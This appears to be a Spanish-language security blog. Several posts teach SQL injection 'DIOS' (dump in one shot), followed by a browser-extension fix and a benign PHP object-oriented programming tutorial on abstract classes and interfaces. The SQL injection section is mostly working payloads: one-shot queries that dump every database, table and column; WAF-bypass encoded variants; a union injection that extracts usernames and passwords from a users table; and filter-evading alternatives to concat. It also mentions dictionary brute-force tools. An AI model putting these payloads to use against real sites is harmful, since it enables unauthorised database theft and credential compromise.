En caso de que ninguna de nuestras palabras de diccionario puedan coincidir podemos usar lo que me recomendo Cesar, que seria usar CEWL (http://digi.ninja/projects/cewl.php) que esta creado en ruby, con el proposito de generar una lista de palabras (diccionario) a partir de la pagina web. Un ejemplo:



Con esto la lista seria generada, existen este tipo de ataques de fuerza bruta a diferentes servicios, tambien para ello podemos contar con otro tipo de utilidades tales como es xHydra (https://www.thc.org/thc-hydra/).

Aqui finaliza este tutorial que intenta ser un tipo de ayuda para todos, agradesco mucho a Cesar por haberme ayudado. Saludos!

martes, 6 de enero de 2015

DIOS (Dump in One Shot) Explicado

Buenas les traigo este pequeño Tutorial es sobre seguridad web, este tutorial en realidad no es mio, pero es una traduccion, les dejare la fuente al final :)



No se si hay una explicacion para DIOS por ahora o hay una mejor explicacion que en la forma en la que la voy a explicar, pero se que muchos de los inyectores (Inyeccion SQL) estan en busca de él, e incluso he estado recibiendo muchas solicitudes para escribir una explicacion de DIOS. Asi que aqui comenzaremos la compresion de DIOS y como funciona realmente. Primero vamos a hacer lo mas facil e iremos aumentando el nivel de complejidad.
Para entender DIOS tienes que leer el tutorial por lo menos dos veces en plena concentracion. Si usted cree que lo va seguir paso a paso y comprendera al instante esta en el lugar equivocado. Asi que si realmente quieres entenderlo debes leerlo cuidadosamente. Aqui esta una consulta basica que nos da todas las bases de datos:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>'))))a)

La consulta dada anteriormente nos dara todas las bases de datos en un solo disparo. Asi que vamos a tratar de comprender como funciona realmente, lo que tenemos que entender primero es la parte roja de la consulta. Pero antes de eso, tenemos que entender el uso de la clausula IN en una declaracion SQL.

select * from tablename where name in ('inj3ct0r','Zenodermus','Security','Idiots')

La declaracion anterior especifica extraer todos los registros desde la tabla (tablename) donde el valor name es bien 'inj3ct0r', o 'Zenodermus', o 'Security', o 'Idiots', que tambien pueden ser escritos de otra manera mediante el uso de OR como se indica a continuacion:

select * from tablename where name='inj3ct0r' or name='Zenodermus' or name='Security' or name='Idiots';

La salida para ambas declaraciones es la misma. Asi que vamos a pasar de nuevo a DIOS asi podemos ver la declaracion mas profudamente.

(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>')))

Aqui lo que sucede es que estamos seleccionando una variable @a desde information_schema.schemata y entonces concatenamos todos los nombres de las bases de datos (schema_name) en la clausula IN.  Asi que lo que en realidad sucede es que todos los nombres de las bases de datos (schema_name) vendran en la clausula IN y obtendran seleccionado todo lo que existe en la tabla information_schema.schemata.  Como vemos arriba en la parte de rojo @a se concatena a si mismo dentro de un bucle. Cada vez "@a,schema_name,'<br>'" se agregara a @a. Ahora vamos a ver la parte restante.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in ((@a:=concat(@a,schema_name,'<br>'))))a)

Ahora supongo que usted puede comprender que estamos seleccionando lo concatenado en la variable @a en la primera declaracion. Ahora vamos a pasar a nuestra proxima consulta que nos da todos los nombres de la tabla en un solo disparo. Una cosa mas, la razon por la que utilizamos esta consulta se debe a que GROUP_CONCAT no permite mas de 1024 caracteres, por lo cual no podriamos extraer mucha informacion usandolo. Hay otra derivacion para la limitacion de los 1024 caracteres que es discutido en Death Row Injection.


(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=concat(@a,table_name,'<br>'))))a)

La consulta anterior nos dara todos los nombres de las tablas de la misma manera que obtuvo los nombres de las bases de datos, pero esta vez tenemos que añadir una condicion para eliminar todas las tablas que pertenecen a information_schema, la consulta siguiente es para esto:

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_name,'<br>'))))a)


Ahora la consulta nos esta dando todos los nombres de las tablas sin incluir las tablas de information_schema. Pero una vez mas hay un problema, es que no podemos ver que tabla pertenece a que base de datos por lo que tambien podemos incluir table_schema cada vez que concatenamos.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,0x3a,table_name,'<br>'))))a)

Ahora tenemos todos los nombres de las bases de datos y los nombres de las tablas, pero tenemos una mejor forma de obtener todos los nombres de las bases de datos, los nombres de las tablas y los nombres de las columnas junto con la tabla information_schema.columns.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

Ahora vamos a ver un reto comun que es posteado para extraer todos los nombres de las tablas que comienzan con 'shit_' por lo que en ese caso podemos agregar otra condicion en la consulta mostrada.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and table_name like 'shit_%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)


De esta manera podemos conseguir lo que queremos en la salida usando el metodo DIOS. Algunas consultas mas complicadas seran discutidas en la proxima parte de la explicacion de DIOS.

Autor : Zenodermus Javanicus
Fecha : 2014-06-03


En este tutorial vamos a continuar con nuestra discusion sobre DIOS, en este tutorial veremos como obtener una mejor salida, vamos a extraer los nombres de las bases de datos, nombres de las tablas, de las columnas de las tablas y luego tambien vamos a jugar con algunos registros. Al final de este tutorial vamos a obtener algo como lo siguiente:



En primer lugar vamos a comenzar con nuestra consulta base donde lo dejamos en el primer tutorial. Extraer todos los nombres de las bases de datos, tablas y columnas de todas las bases de datos distintas a information_schema.

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,table_schema,' :: ',table_name,' :: ',column_name))))a)

Como se puede ver la condicion de alli es table_schema!='information_schema' lo que significa que las tablas y columnas de information_schema no seran mostradas. Puede probar la consulta anterior Aqui

Pero como podemos ver que estamos recibiendo el nombre de la base de datos y el nombre de la tabla en cada registro. Entonces vamos a agregar una condicion que va escribir el nombre de la base de datos y la tabla cuando esto cambie.

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'',column_name), (column_name))))))a)

Usted puede probar la consulta anterior Aqui. En la consulta anterior puede ver una parte verde que es la declaracion de la variable @tbl y la parte roja que es nuestra condicion IF. La sintaxis basica es IF(,(hacemos esto si la condicion es Verdad),(Hacemos esto si la condicion es Falsa)), asi que arriba se puede ver (@tbl!=table_name) es la condicion que comprueba si @tbl no es igual al nombre de la tabla actual, lo que significa que cada vez que el nombre de la tabla sea verdad sera cambiado, ahora vamos a ver que pasara cuando el nombre de la tabla sea verdad: 
"Concat(0x3c62723e,table_schema,' :: ',@tbl:=table_name,'<br>',column_name)"

Aqui estamos mostrando el nombre de la base de datos, nombre de la tabla y nombre de la columna si la condicion es cierta. Si la condicion es falsa solo mostramos el nombre de la columna que es lo suficientemente clara ("column_name"). Ahora vamos a pasar a nuestra siguiente tarea que es mostrar el numero de registros de cada tabla  y que tenemos que mostrar cada vez que el nombre de la tabla sea mostrado, lo que significa que la incluiremos dentro de la parte Verdadera.

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')
',column_name), (column_name))))))a)


Puede probar la consulta anterior Aqui. En la parte verde se puede ver que declaramos una vez mas una o mas variables  (@tbl_sc:=0x00) y luego guardamos table_schema dentro de la variable @tbl_sc:=table_schema, por lo que ahora tenemos dos variables @tbl y @tbl_sc ahora podemos extraer facilmente los registros de cada tabla usandolos. Para extraer el numero de registros se utilizo la parte roja que es (select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl). Si conoces SQL basico, entonces se puede entender facilmente esta consulta. Ahora la ultima parte es la adicion de un recuento delante de cada nombre de la tabla.

(select (@a) from (select(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(select (@a) from (information_schema.columns) where (table_schema!='information_schema') and(0x00)in (@a:=concat(@a,0x3c62723e,if( (@tbl!=table_name), Concat(0x3c62723e,@num:=(@num+1),0x2920,@tbl_sc:=table_schema,' :: ',@tbl:=table_name,' (Rows ',(select table_rows from information_schema.tables where table_schema=@tbl_sc and table_name=@tbl),')<br>',column_name), (column_name))))))a)

Puede probar la consulta anterior Aqui. Ahora podemos ver la parte verde nosotros hemos declarado la variable @num y la hemos inicializado con 0. Luego en la parte roja que se encuentra bajo la condicion verdadera, donde los nombres de las tablas se estan mostrando nosotros mostramos a variable y le vamos agregando 1 cada vez que se muestra. Asi que aqui hemos terminado con la consulta completa DIOS. Ahora vamos a añadir un poco de WAF Bypass y alguna otra informacion basica relacionada a la base de datos para hacerlo mas usable.

(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=/*!12345'%69nformation_schema'*/)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=`table_schema`,0x203a3a20,@tbl:=`%74able_name`,0x2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c62723e,/*!12345`%63olumn_name`*/), (/*!12345`%63olumn_name`*/))))))a)

Puede probar la consulta anterior Aqui. En la consulta anterior acabamos de añadir un poco de bypass WAF y ademas codificamos todas las cadenas en hexadecimal. Por ultimo agregaremos un poco de HTML, nuestro nombre, base de datos, version, etc. En nuestra consulta utilizando Concat.

COncaT%0a(0x3c62723e3c62723e3c2f63656e7465723e3c2f6469763e3c2f6469763e3c2f7461626c653e496e6a3363743364206279205a656e3c62723e3c666f6e7420636f6c6f723d677265656e3e56657273696f6e203a3c2f666f6e743e20,version(),0x3c62723e3c666f6e7420636f6c6f723d677265656e3e4461746162617365203c2f666f6e743e3a20,database(),0x3c62723e3c666f6e7420636f6c6f723d677265656e3e55736572203c2f666f6e743e3a,user(),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c2f666f6e743e3c666f6e7420636f6c6f723d477265656e3e3c62723e,@num:=(@num%2b1),0x29203c666f6e7420636f6c6f723d2723463746453245273e204461746162617365203a20,@tbl_sc:=`table_schema`,0x205b205461626c65204e616d65203a20,@tbl:=`%74able_name`,0x5d2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c666f6e7420636f6c6f723d7265643e3c62723e,/*!12345`%63olumn_name`*/),concat%0a(/*!12345`%63olumn_name`*/))))))a))

Puede probar la consulta Aqui. Aqui esta nuestra consulta final. Es decir lo minimo que podemos obtener de ella, ya que algunos chicos la utilizan para enumerar tambien las columnas. Pero esto no sera explicado aqui. Si usted comprende como hicimos esta consulta, entonces puede facilmente agregar eso. Espero que hayan disfrutado la lectura.

Autor : Anas Ali
Fecha : 2014-06-17


Evil Twin Injection

En este tutorial vamos a aprender como obtener todos los datos de una pagina web de una manera muy rapida mediante la Evil twin Injection. 

Mientras usamos inyeccion SQL de manera manual para obtener la base de datos de algun sitio a veces es realmente complicado o un dolor en el culo! obtener los datos de la manera larga por lo cual utilizaremos Evil Twin Injection para esos momentos.


En primer lugar vamos a contar un poco de historia sobre esta inyeccion. Mientras estaba buscando algo para evadir GROUP_CONCAT la cual limita solo a 1024 caracteres. He encontrado un truco mediante una inyeccion usando subconsultas. Bueno aunque es algo viejo. 

Pero esto me dio una idea para completar toda la inyeccion mediante subconsultas y aqui encontre el truco para completar la devolucion de toda la base de datos en solo dos consultas maliciosas.

Asi que nosotros vamos a inyectar dos subconsultas maliciosas despues de conseguir las columnas usando order by.

Por ejemplo nuestra inyeccion es:

1' union select 1,2,3,4#

Y estamos inyectando en la columna 4.

A continuacion vamos a inyectar la primera consulta en la inyeccion para obtener todas las bases de datos, seguido de todas las tablas y seguido de todas las columnas.

La consulta sera:

-1' union select 1,2,3,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))))a)#

Ahora despues de obtener los datos completos con un solo disparo! son mostrados abajo:

 
En la primera columna es el nombre de la base de datos, la segunda es el nombre de la tabla y la tercera es el nombre de la columna. 

Asi que nuestra segunda consulta esta lista para ser inyectada:

-1' union all select (select (@) from (select(@:=0x00),(select (@) from (users) where (@)in (@:=concat(@,0x3C,0x62,0x72,0x3E,' [ ',username,' ] > ',pass,' > '))))a)#

Y la consulta anterior le mostrara todos los nombres de usuarios (username) y contraseñas (pass) de la tabla usuarios (users).

Autor : Zenodermus Javanicus
Fecha : 2014-03-25


DIOS Inyecciones.

En este post nosotros conoceremos un poco mas sobre DIOS e introduciremos diferentes sabores en el.

USO de DIOS: Solo hay que poner el codigo en alguna columna vulnerable.

Como muchos de ustedes han visto esta es la primera consulta DIOS:

(select(@)from(select(@:=0x00),(select(@)from(information_schema.columns)where(@)in(@:=concat(@,0x3C62723E,table_name,0x3a,column_name))))a)

Poc


Por encima es una pieza de codigo hecha por Profexer un hacker Ruso. 

A continuacion podemos ver otro DIOS por Dr.Z3r0

(select(select concat(@:=0xa7,(select count(*)from(information_schema.columns)where(@:=concat(@,0x3c6c693e,table_name,0x3a,column_name))),@)))

Poc

El siguiente DIOS se puede utilizar cuando el WAF esta jodiendo realmente bloqueando concat, la solucion esta hecha por M@dBl00d

(Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))

Poc

El siguiente DIOS esta creado por Zenodermus Javanicus lo mismo evita el concat en un WAF, le permite añadir 9 columnas sin ninguna modificacion y probablemente sea el DIOS mas corto:

make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)

Poc


Autor : Zenodermus Javanicus
Fecha: 2014-07-21
 



Fuente: http://www.securityidiots.com

domingo, 21 de diciembre de 2014

Arreglar el problema al repetir en Live HTTP Headers

Buenas, queria comentarles hoy por la tarde estaba intentando repetir unas cabeceras que habia enviado a una pagina, y sucede que no se enviaba por mas que lo hacia, asi que entonces como utilizo mucho esta extension y vi que el problema era por que tengo un firefox una version mas reciente que deshabilito HTTP Cache V1.



La extension de Live HTTP Headers tiene dos lineas donde utiliza el cache:


cacheService.evictEntries(Components.interfaces.nsICache.STORE_ON_DISK);
cacheService.evictEntries(Components.interfaces.nsICache.STORE_IN_MEMORY);
Estas dos lineas deben de ser comentadas!

Se encuentran dentro del archivo:

livehttpheaders/content/LiveHTTPHeaders.js
Para bajar la version correcta, esta disponible en:


sábado, 6 de diciembre de 2014

[Parte 3] Programacion orientada a objetos con PHP

POO Mas Avanzado

En la parte anterior vimos algunos conceptos de POO Avanzado, con un enfasis particular relacionado a herencia. 

Los temas de este capitulo llegan a ser mas esoterico, y no siempre es necesario una aplicacion web, pero estos conceptos deben estar en su radar a medida que se sienta mas comodo con la programacion orientada a objetos como un enfoque de programacion. 

Clases abstractas y Metodos

En algunas situaciones en la que se aplica herencia, nunca seria apropiado crear una instancia de una clase padre. Por ejemplo, en el ejemplo de Mascota, la intencion seria la creacion de una subclase especifica para cada tipo de Mascota y nunca realmente crear un objeto de tipo de Mascota. En tales casos, seria mas apropiado definir una clase base abstracta, en lugar de una clase base estandar. 

Las clases abstractas son versiones de la plantilla de una clase padre. Al definir una clase abstracta, puede indicar el comportamiento general de que las subclases deben tener. Dicho de otra manera, una clase abstracta define las interfaces: como las clases derivadas de este tipo de base van a ser utilizadas. Las subclases son responsables de definir las implementaciones reales de esas interfaces.

Las clases abstractas son diferentes de las clases normales en que el intento de crear un objeto de resultados de tipo de una clase abstracta resulta en un error fatal (Ver la imagen de abajo). En cambio, las clases abstractas estan destinadas a ser extendidas, y luego se crea una instancia de esa clase extendida. 



Este enfoque comienza con la palabra clave abstract:

abstract class NombreClase{
       
    }
Las clases abstractas suelen tener metodos abstractos. Estos se definen asi: 

abstract function nombreMetodo();
abstract function nombreMetodo($var1,$var2);
Eso es todo!, aun no se define la funcionalidad del metodo; en cambio, la funcionalidad sera determinada por la clase extendida de la clase abstracta. Si desea agregar visibilidad a la definicion, solo tiene que añadir la palabra clave correspondiente despues de la palabra abstract: 

abstract public function nombreMetodo();
Asi es como la parte de Mascota puede lucir:

    abstract class Mascota {
        protected $_name;
        abstract public function obtenerNombre();
    }


Entonces Gato contendria:


class Gato extends Mascota {
        function obtenerNombre(){
            return $this->_name;
        }
    }

Tenga en cuenta que la implementacion del metodo abstracto en el de la clase extendida Gato::obtenerNombre(); por ejemplo- tiene que cumplir con la misma visibilidad o mas debil. Si la funcion abstracta es publica, la version extendida tambien debe ser publica. Si la funcion de abstracta esta protegida, a continuacion, la version extendida solo puede ser protegida o publica. Nunca crearia un metodo abstracto privado, ya que un metodo privado no se puede heredar. 

En todos los casos, la version implementada del metodo tambien debe tener el mismo numero de argumentos que la definicion abstracta (es decir, la misma firma).


Tenga en cuenta que si una clase tiene incluso un metodo abstracto, la clase en si debe ser abstracta.
Sin embargo una clase abstracta, puede tener metodos no abstractos, asi como atributos, todos los cuales tambien seran heredados por la clase derivada. 
Para poner esto en accion, vamos a volver a los ejemplos de geometria, como Rectangulo. 
Esa clase podria ser una extension de una clase de forma mas generica. Vamos a instruir la clase abstracta Figura y una clase Hijo, Triangulo.


La clase abstracta Figura puede ser el padre de muchos tipos de Figuras (bidimensionales).



 <?php
 /*
 * Esta pagina define la clase abstracta Figura
 * Esta clase no contiene atributos
 * Esta clase  contiene dos metodos abstractos:
 * - obtenerArea()
 * - obtenerPerimetro()
 */

 abstract class Figura {
  // Sin atributos declarados
  // Sin constructores o destructores definidos aqui

  // Metodo para calcular y devolver el area
  abstract protected function obtenerArea();

  // Metodo para calcular y devolver el perimetro.
  abstract protected function obtenerPerimetro();
 } // Terminamos la clase Figura.

 
?>

1.- Definimos la clase figura: abstract class Figura {
2.- Definimos el primer metodo abstracto: abstract protected function obtenerArea();
Esta linea dice que cualquier clase que se extiende de la clase Figura necesita definir un metodo obtenerArea(). Ademas, este metodo no deberia tener ningun argumento y la visibilidad tiene que ser publica o protegida (la misma visibilidad o mas debil).
3.- Definimos el segundo metodo abstracto: abstract protected function obtenerPerimetro();
4.- Completamos la clase: } 


 <?php
 /*
 * Esta pagina define la clase Triangulo
 * Esta clase contiene dos atributos:
 * - private $_lados (array)
 * - private $_perimetro (number)
 * La clase contiene 3 metodos:
 * - __construct()
 * - obtenerArea()
 * - obtenerPerimetro()
 */

 class Triangulo extends Figura {
  // Declaramos los atributos:
  private $_lados = array();
  private $_perimetro = NULL;

  // Constructor:
  function __construct($s0 = 0, $s1 = 0, $s2 = 0){
   // Almacenamos los valores en un Array:
   $this->_lados[] = $s0;
   $this->_lados[] = $s1;
   $this->_lados[] = $s2;

  // Calculamos el perimetro:
  $this->_perimetro = array_sum($this->_lados);
  } // Fin del constructor

  // Metodo para calcular y devolver el area:
  public function obtenerArea(){
   // Calculamos y devolvemos el area:
   return (sqrt(
   ($this->_perimetro/2) *
   (($this->_perimetro/2) - $this->_lados[0]) *
   (($this->_perimetro/2) - $this->_lados[1]) *
   (($this->_perimetro/2) - $this->_lados[2]) 
   ));
  } // Fin del metodo obtenerArea().

  // Metodo para devolver el perimetro:
  public function obtenerPerimetro(){
   return $this->_perimetro;
  } // Fin del metodo obtenerPerimetro().
 } // Fin de la clase Triangulo.
?>


1.- Comenzamos declarando la clase Triangulo: class Triangulo extends Figura {

2.- Declaramos los atributos:
private $_lados = array();
private $_perimetro = NULL;
 

El primer atributo almacenara el tamaño de los tres lados (como alternativa puede hacer tres variables independientes), la segunda variable almacenara el perimetro. 
Solo estoy añadiendo este atributo por que el perimetro sera utilizado en el calculo del area, asi que es bueno tener una variable en lugar de recuperarla a traves de un metodo. Todos los atributos son privados, ya que no deben ser accedidos fuera de cualquier clase y no puedo imaginar como una clase Triangulo sera heredada (en cuyo caso pueden estar protegidos).


3.- Definimos el constructor:
function __construct($s0 = 0, $s1 = 0, $s2 = 0){
            // Almacenamos los valores en un Array:
            $this->_lados[] = $s0;
            $this->_lados[] = $s1;
            $this->_lados[] = $s2;

            // Calculamos el perimetro:
            $this->_perimetro = array_sum($this->_lados);
        } // Fin del constructor




El constructor toma tres argumentos para los tres lados del triangulo. Esos valores se colocan en el array $_lados, y luego se calcula el perimetro. La funcion array_sum() suma todos los elementos del array.


4.- Creamos un metodo obtenerArea():

public function obtenerArea(){
            // Calculamos y devolvemos el area:
            return (sqrt(
            ($this->_perimetro/2) *
            (($this->_perimetro/2) - $this->_lados[0]) *
            (($this->_perimetro/2) - $this->_lados[1]) *
            (($this->_perimetro/2) - $this->_lados[2])
            ))
        } // Fin del metodo obtenerArea().


Si recuerda la geometria, sabe que el area del triangulo es igual a la mitad de la base por altura. 




Por supuesto, para hacer este calculo la base tendria que determinar la base (el lado mas largo, no es un problema) y la altura (que requiere trigonometria). En lugar de eso utilizaremos la Formula de Heron's. Para implementarlo en el codigo PHP.


Ejemplo: ¿Cuál es el área de un triángulo en el que cada lado es de 5?

Paso 1: s = (5 + 5 + 5) / 2 = 7,5 (perimetro)
Paso 2: A = (7,5 × 2,5 × 2,5 × 2,5) = (117,1875) = 10.825 ...


5.- Creamos el metodo obtenerPerimetro():
 
public function obtenerPerimetro(){
            return $this->_perimetro;
        } // Fin del metodo obtenerPerimetro().


Este es el segundo metodo abstracto en Figura que debe ser implementado aqui. Para este ejemplo, simplemente retorna el atributo perimetro. No tiene que crear el atributo perimetro, este metodo fue devuelto por $this->_perimetro = array_sum($this->_lados);

6.- Completamos la clase: } // Fin de la clase Triangulo.   

Para usar la clase Triangulo:


 <!doctype html>
<html lang="es">
<head>
 <meta charset="utf-8">
 <title>Triangulo</title>
</head>
<body>
<?php
 // Leemos las definiciones de las clases:
 require('triangulo.php');

 // Establecemos los lados del triangulo:
 $s1 = 5;
 $s2 = 10;
 $s3 = 13;

 // Imprimimos una introduccion y creamos un nuevo triangulo
 echo "<h2>Con los lados de $s1, $s2, y $s3...</h2>";
 $t = new Triangulo($s1,$s2,$s3);

 // Imprimimos el area:
 echo '<p>El area de un triangulo es '. $t->obtenerArea().'</p>';
 // Imprimimos el perimetro:
 echo '<p>El perimetro de el triangulo es '.$t->obtenerPerimetro().'</p>';

 // Completamos la pagina:
 unset($t);
?>
</body>
</html>
 
 


En UML, una clase se marca como abstracto ya sea por su nombre en cursiva, o colocando llaves junto a su nombre {abstracta}.

El metodo __toString()

Si se define un metodo __toString() en una clase, PHP invoca ese metodo automaticamente, cuando un objeto de este tipo es usado como cadena. Por ejemplo, seria llamado si trato de hacer esto:


$a = new AlgunaClase();
echo $a;


Los objetos son por definicion, tipos de variables complejos, no destinados a ser usados como si fueran variables escalares. Sin embargo, es bastante comun para los desarrolladores agregar metodos __toString(), por lo menos como una herramienta sencilla y util de depuracion. 

Como desarrollador, mediante la definicion de un metodo __toString() para una clase, tiene que decidir exactamente lo que sucede podria un objeto de esa clase ser utilizado como Cadena, en lugar de limitarse a que PHP genere un error. 




Interfaces

Una interfaz es similar a la clase abstracta. Interfaces, como clases abstractas, identifican la funcionalidad (es decir, metodos) que debe ser definido por una clase especifica. Para crear una interfaz utilice la palabra clave interface.

Luego dentro de las llaves, se definen las firmas de metodos, no su implementacion real:

interface iAlgo {
        public function algunaFuncion($var);
    }


(Convencionalmente, los nombres de interfaces a menudo comienzan con i minuscula, pero no es requerido). Tenga en cuenta que los metodos de una interfaz deben ser publicos. Ademas, las interfaces solo identifican metodos; nunca incluyen atributos. Para asociar una clase con una interfaz, utilice el operador implements en la definicion de la clase.

class AlgunaClase implements iAlgo{}

La clase entonces debe definir todos los metodos que aparecen en la interfaz o un error fatal se producira:



El error fatal es creado por tener una clase implementada de una interfaz sin implementar todos los metodos.


Clase abstracta vs Interfaz

La diferencia entre una interfaz y una clase abstracta puede parecer sutil. Recuerde que una clase abstracta tiene la intencion de ser extendida por una clase mas especifica, de la que probablemente se cree una instancia de objeto. Como ya has visto, una clase abstracta puede definir un objeto generico, como una Figura. A la inversa, la interfaz no es heredado por una clase, por lo que no se debe pensar en una interfaz como una forma de definir libremente un objeto completo. En cambio, una interfaz establece un contrato para la funcionalidad que una clase debe tener, independientemente del tipo de clase. 
Otra forma de distinguir entre clases abstractas e interfaces es que las clases abstractas siguen teniendo "es una" relacion con la clase derivada. Las interfaces no tienen "es una" relacion con clases derivadas, aunque se podria decir que la clase derivada tiene un "tiene los mismos comportamientos como" relacion con una interfaz.
En el siguiente ejemplo, vamos a crear una interfaz para la funcionalidad CRUD estandar. La sigla CRUD se refiere a la capacidad de CREAR, LEER, ACTUALIZAR y ELIMINAR datos - las cuatro acciones basicas que se requieren para muchos tipos diferentes de contenido utilizado en sitios y aplicaciones.





 <!doctype html>
<html lang="es">
<head>
 <meta charset="utf-8">
 <title>Interface</title>
</head>
<body>
<?php
 // Esta pagina define y usa la interface iCrud
 
 /*
 * La interface iCrud
 * La interface identifica cuatro metodos:
 * - crear()
 * - leer()
 * - actualizar()
 * - eliminar()
 */

 interface iCrud {
  public function crear($datos);
  public function leer();
  public function actualizar($datos);
  public function eliminar();
 }

 /* El usuario implementa la clase interface iCrud.
 * La clase contiene dos atributos:
 * - private $_usuarioId;
 * - private $_usuario;
 * La clase contiene los cuatro metodos de la interface, mas un constructor.
 */

 class Usuario implements iCrud {

  private $_usuarioId;
  private $_usuario;

  // El constructor toma un array de datos:
  function __construct($datos){
   $this->_usuarioId = uniqid();
   $this->_usuario = $datos['usuario'];
  } // Fin del constructor

  // Este metodo tambien toma un array de datos:
  function crear($datos){
   self::__construct($datos);
  }

  // Esta funcion retorna la informacion acerca del objeto actual:
  function leer(){
   return array('usuarioId' => $this->_usuarioId, 'usuario' => $this->_usuario);
  }

  // Funcion para actualizar el objeto actual:
  function actualizar($datos){
   $this->_usuario = $datos['usuario'];
  }

  // Funcion para deshacerse del objeto actual:
  public function eliminar(){
   $this->_usuario = NULL;
   $this->_usuarioId = NULL;
  } 
 } // Terminamos la clase Usuario


 // Identificamos la informacion del usuario:
 $usuario = array('usuario' => 'arthusu');

 // Imprimimos una pequeña introduccion:
 echo "<h2>Creando un nuevo usuario</h2>";

 // Crear un nuevo usuario:
 $yo = new Usuario($usuario);

 // Obtenermos el ID de usuario:
 $info = $yo->leer();
 echo "<p>El ID de usuario es {$info['usuarioId']}.</p>";

 // Cambiamos el nombre de usuario:
 $yo->actualizar(array('usuario'=>'arthusuxD'));

 // Confirmamos que el usuario ha sido actualizado:
 $info = $yo->leer();
 echo "<p>El nombre de usuario ahora es {$info['usuario']}.</p>";

 // Eliminamos los registros:
 $yo->eliminar();

 // Eliminamos el objeto:
 unset($yo);
?>
</body>
</html>


1.- Declaramos la interface iCrud:
interface iCrud {
        public function crear($datos);
        public function leer();
        public function actualizar($datos);
        public function eliminar();
    }
La interface iCrud identifica cuatro metodos necesarios. Dos de los metodos esperan tomar los datos como argumento. Los otros dos metodos sin argumentos. Usted vera como funciona este sistema en la interface. Todos los metodos requeridos son publicos.

2.-  Definimos la clase Usuario:
class Usuario implements iCrud {

        private $_usuarioId;
        private $_usuario;
La clase Usuario implementa iCrud, significa que debe definir los cuatro metodos identificados en la interface. Para demostrar este concepto, sin abrumar con codigo, voy a definir dos atributos de la clase, ambos seran privados.


3.- Definimos el constructor:

function __construct($datos){
            $this->_usuarioId = uniqid();
            $this->_usuario = $datos['usuario'];
        } // Fin del constructor


El constructor se va tomar un array de datos como su unico argumento. Utilizara estos datos para asignar valores a las variables privadas internas. Logicamente tambien se puede añadir alguna validacion para los datos que se proveen. El constructor tambien crea un valor usuarioId unico invocando la funcion uniqid()
En una aplicacion real, el constructor podria crear un nuevo usuario registrarlo en la base de datos y asignar una clave primaria generando automaticamente el valor al atributo interno.

4.- Definimos el metodo crear():

function crear($datos){
            self::__construct($datos);
        }


Mediante la implementacion de la interface iCrud, esta clase esta obligada a tener un metodo crear() con un solo argumento. Sin embargo, el constructor ya lo hace lo requerido para crear un nuevo objeto de este tipo, entonces este metodo puede llamar al constructor (utilizando la palabra clave self, que se refiere a la clase actual, añadiendo el operador de resolucion), pasamos la cantidad de datos que le provimos. 
Este metodo podria ser usado en situaciones cuando un nuevo objeto Usuario es creado (quizas de este modo creamos un nuevo registro en la base de datos).

5.- Definimos el metodo leer():

function leer(){
            return array('usuarioId' => $this->_usuarioId, 'usuario' => $this->_usuario);
        }


El metodo leer() no toma ningun argumento y devuelve un array de informacion. En un ejemplo hipotetico, la informacion es representada por las variables internas.
